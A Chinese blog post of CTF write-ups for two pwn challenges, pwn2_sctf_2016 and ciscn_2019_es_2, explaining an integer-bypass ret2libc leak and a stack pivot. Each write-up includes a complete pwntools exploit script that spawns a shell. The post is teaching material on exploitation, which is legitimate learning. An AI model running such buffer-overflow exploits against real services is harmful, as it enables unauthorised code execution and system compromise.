首页 > 其他分享 >pwn2_sctf_2016

pwn2_sctf_2016

时间:2023-12-30 23:57:16浏览次数:35  
标签:addr pwn2 elf sctf ebp io printf p32 2016

pwn2_sctf_2016

  • lib地址泄露

image-20231223203034800

vuln()

  1. 程序对输入的v2做了限制首先要利用整数绕过if (v2 > 32)的限制

  2. 程序中没有现成的shell所以要通过printf泄露lib手动构造shell

    from pwn import * 
    context.log_level = 'debug'
    io = process('./pwn2_sctf_2016')
    #io = gdb.debug('./pwn2_sctf_2016','break *vuln')
    elf = ELF('./pwn2_sctf_2016')
    Lib = ELF('/lib/i386-linux-gnu/libc.so.6')
    printf_got = elf.got['printf']
    printf_plt = elf.plt['printf']
    vuln_addr = elf.sym['vuln']
    main_addr = elf.sym['main']
    offset =48
    #1.绕过限制
    io.sendlineafter('How many bytes do you want me to read?',b'-1')
    #2.泄露lib
    payload1 = b'A'*offset+p32(printf_plt)+p32(vuln_addr)+p32(printf_got)
    io.sendlineafter(b'data!\n',payload1)
    io.recvuntil('\n')
    a = io.recv(4)
    printf_addr = u32(a)
    print('lib->',hex(printf_addr))
    #3.构造shell
    baseoffset = printf_addr - Lib.symbols['printf']
    sys_addr = Lib.sym['system']+baseoffset
    shell_addr = baseoffset+next(Lib.search(b'/bin/sh'))
    io.sendlineafter(b'read?',b'-1')
    payload2 = b'A'*offset+p32(sys_addr)+p32(main_addr)+p32(shell_addr)
    io.recvuntil(b'data!\n')
    io.sendline(payload2)
    io.interactive()
    

ciscn_2019_es_2

image-20231225113135740

  • 栈迁移
  1. read()存在溢出,但是只有0x30个位置不能拿到shell,所以考虑栈迁移
  2. 通过泄露参数s在栈上的位置,将payload写入栈上
  3. 迁移栈到参数s的位置,运行写入的payload拿到shell
leaved =>
mov esp,ebp 
pop ebp
#清除栈帧,初始化到执行前的样子
ret =>
pop eip
jmp
#相当于一个无条件转跳

image-20231225110712276

泄露出s在栈上的偏移地址

image-20231225124013883

完成栈迁移

from pwn import *
#context.log_level = 'debug'
io = process('./ciscn_2019_es_2')
#io = gdb.debug('./ciscn_2019_es_2','break *vul')
elf = ELF('./ciscn_2019_es_2')
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
offset = 0x28
payload1 = b'A'*offset
io.sendafter(b"Welcome, my friend. What's your name?\n",payload1)
io.recvuntil(b'Hello,')
io.recvuntil(b'A'*0x28)
old_ebp = u32(io.recv(4))
s_addr = ebp_addr = old_ebp-0x10-offset
print('old_ebp -> ',hex(old_ebp))
print('s_addr -> ',hex(ebp_addr))
#pause()
payload2 = p32(0)+p32(elf.plt['system'])+p32(0)+p32(s_addr+0x10)+b'/bin/sh\x00' #`\x00`截断
#32位程序中参数在函数的后0x10位置,所以填充p32(0)
payload2 = payload2.ljust(0x28,b'A')
payload2 += p32(s_addr)+p32(0x08048562) #填充满栈空间,用p32(s_addr)+p32(0x08048562)劫持`leave`完成迁移并填充上新的`leave&ret`
io.send(payload2)
io.interactive()

标签:addr,pwn2,elf,sctf,ebp,io,printf,p32,2016
From: https://www.cnblogs.com/bamuwe/p/17937073

相关文章

  • 2016年全年回顾
    本文于2016年底完成,发布在个人博客网站上,标题为《2016年全年回顾》。考虑个人博客因某种原因无法修复,于是在博客园安家,之前发布的文章逐步搬迁过来。元旦后第一个工作日,上午请假办理宝宝的医保,比较重要;办事人员叮嘱说每年的12月10日~12月25日可以办理,以后可不能像这次拖这么久......
  • 题解 [SDOI2016] 游戏
    可以看出来出题人很想出一道把李超和别的什么东西凑起来的题目,于是给了这么一个缝合怪。https://www.luogu.com.cn/problem/P4069符号有点混乱。比如箭头又可以表示路径又可以表示赋值,代入语境应该还是好理解的。看到\(a\timesdis+b\)就应激反应出来是李超了,看到\(s\to......
  • 【APIO2016】烟火表演
    先前的题目对slopetrick的认识还不深刻,这题可以看出一个完整的构建过程。题目描述给定一棵有根树,根为\(1\),边带权,修改边权的代价时修改值与原值差的绝对值,求让所有叶子到根距离相等的最小代价。\(1\leqn\leq3\times10^5,1\leqw\leq10^9\)。算法解析首先有朴......
  • 2016.6 六级English作文
    1.机器人Directions:Forthispart,youareallowed30minutestowriteashortessayone-learning.Trytoimaginewhatwillhappenwhenmoreandmorepeoplestudyonlineinsteadofattendingschool.Youarerequiredtowriteatleast150wordsbutnomoret......
  • ISCTF2023部分WP
    write-up:战队:来日方长赛道:进阶赛道队长:张伟文队员:结局别在遗憾Zn.WEB:圣杯战争!!!(题解:结局别说遗憾Zn.)解题思路:打开题目链接,代码如下:<?phphighlight_file(__FILE__);error_reporting(0);classartifact{public$excalibuer;public$arrow;publicfunction_......
  • Windows Server 2016 中文版、英文版下载 (updated Dec 2023)
    WindowsServer2016中文版、英文版下载(updatedDec2023)WindowsServer2016Version1607,2023年12月更新请访问原文链接:https://sysin.org/blog/windows-server-2016/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.org本站将不定期发布官方原版风格月度更新I......
  • Windows Server 2016 OVF, updated Dec 2023 (sysin) - VMware 虚拟机模板
    WindowsServer2016OVF,updatedDec2023(sysin)-VMware虚拟机模板2023年12月版本更新,现在自动运行sysprep,支持ESXiHostClient部署请访问原文链接:https://sysin.org/blog/windows-server-2016-ovf/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.org现在......
  • P6922 [ICPC2016 WF] Longest Rivers 题解
    Description有\(n\)条河和\(m+1\)个交汇处构成一棵以\(0\)号点(即大海)为根的树。每条河有各自的名称。对于一个交汇处,从它流出的干流的名称是流入这个交汇处的各个支流的名称之一。一条河流的长度是以它为名称的河流的长度之和。对于一个可能的命名方案,一条河流的排名等于......
  • 记一道ISCTF2022中misc-LSB
    ISCTF-misc-LSB:题目描述:这是一道ISCTF2022上面misc里面一道图片隐写题,而且出题人还给了提示,hint:注意大小端问题题目附件下载下来是一张png的图片:第一步:将图片放进010_editor里面查看一下它的16进制:在数据底部发现了一个zip的压缩包,而且压缩包里面有个flags.txt的文档,然后......
  • ISCTF2023部分题解
    WEB:圣杯战争!!!(题解:结局别说遗憾Zn.)解题思路:打开题目链接,代码如下:<?phphighlight_file(__FILE__);error_reporting(0);classartifact{public$excalibuer;public$arrow;publicfunction__toString(){echo"为Saber选择了对的武器!<br>";return$this->excal......